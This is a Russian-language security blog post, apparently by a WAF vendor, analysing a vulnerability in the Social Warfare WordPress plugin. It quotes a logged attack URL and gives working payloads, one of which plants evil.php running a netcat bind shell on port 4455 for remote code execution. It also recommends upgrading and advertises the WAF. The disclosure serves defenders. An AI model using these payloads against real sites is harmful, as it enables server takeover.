Статья носит информационный характер. Не нарушайте законодательство.

Некоторое время назад WAF зафиксировал атаку, которая имела следующий вид:
https://defcon.ru/wp-admin/admin-post.php?swp_debug=load_options&swp_url=https://pastebin.com/raw/0yJzqbYf

Из открытых источников мы узнали, что атака представляла собой попытку эксплуатации хранимой XSS уязвимости в Social Warfare — популярном WordpPress-плагине, установленном более чем на 70000 сайтов. Это показалось интересным и мы решили разобраться в уязвимости более детально.

Zero-Day Stored XSS in Social Warfare

A zero-day vulnerability has just appeared in the WordPress plugin world, affecting over 70,000 sites using the Social Warfare plugin. The plugin is vulnerable to a Stored XSS (Cross-Site Scripting) vulnerability and has been removed from the plugin repository. Attacks can be conducted by any users visiting the site. Sucuri.

Суть атаки: злоумышленник пытается внедрить вредоносный сценарий JavaScript, размещенный на одной из страниц стороннего сервиса — pastebin.com. При этом полезная нагрузка сохранялась в базе данных сайта и извлекалась при каждом запросе страницы, что вызывало принудительную переадресацию пользователей на вредоносные сайты.

Pastebin.com представляет собой сервис для хранения абсолютно любого текста. Сервис широко распространен среди программистов, которые выкладывают там части исходных кодов программ для других пользователей.

Изучив информацию, доступную в открытых источниках, мы решили проверить работу уязвимости и глубже разобраться с механизмом атаки. В процессе воспроизведения сценария атаки мы получили 500 ошибку (Internal Server Error). Предположив, что причиной ошибки являлись указанные в статьях ссылки на сайты с вредоносным кодом, которые впоследствии были удалены, мы «по кусочкам» из разных примеров стали собирать единый код, чтобы затем поместить его на локальном сервере. Не получив другого результата, мы начали проверять содержимое кода уязвимого плагина и в файле SWP_Database_Migration.php обнаружили следующее:

Разобравшись в коде, стало понятно, что в параметре swp_url можно передать ссылку на файл, при этом содержимое самого файла должно находиться внутри тегов <pre>. После удаления тегов <pre> полученный текст передается в функцию eval, которая может выполнить php-код из строки. Обнаружив это, мы предположили, что через данную уязвимость на сервере можно выполнять произвольные команды, и попробовали получить вывод phpinfo() при помощи следующего пейлоада:

<pre>wp_die(phpinfo());</pre>

После успешного выполнения произвольного php-кода была предпринята попытка получить шелл-доступ к серверу. Для этого, используя уязвимость, создали файл на удаленном сервере через функцию fwrite. Содержимое передаваемого файла через swp_url выглядело следующим образом:

<pre> fwrite(fopen("evil.php","w") ,"<?php system('/bin/nc -e /bin/sh -l -p 4455'); ?>");</pre>

После выполнения запроса на сервере создается файл evil.php в директории wp-admin.
При обращении к этому файлу запускается наш пейлоад который позволяет получить шелл-доступ к удаленному серверу на порту 4455, что является полноценным удаленным выполнением кода (RCE).

Уязвимость актуальна для плагина версии 3.5.2 и ниже, поэтому рекомендуется как можно скорее обновить плагин до версии 3.5.3+.

Про WAF

Используя комбинированный анализ на основе сигнатур и машинного обучения, Nemesida WAF обеспечивает защиту интернет-магазинов, порталов, API и прочих веб-приложений от хакерских атак с минимальным количеством ложных срабатываний. Модуль машинного обучения блокирует в том числе ранее неизвестные атаки и распределенные атаки методом перебора без увеличения времени отклика веб-приложения. Модуль хорошо масштабируется и не имеет высоких требований к аппаратным ресурсам. В дополнении ко всему, Nemesida WAF включает сканер уязвимостей, систему виртуального патчинга и множество дополнительных компонентов, способствующих повышению уровня защищенности веб-приложений. Подробнее.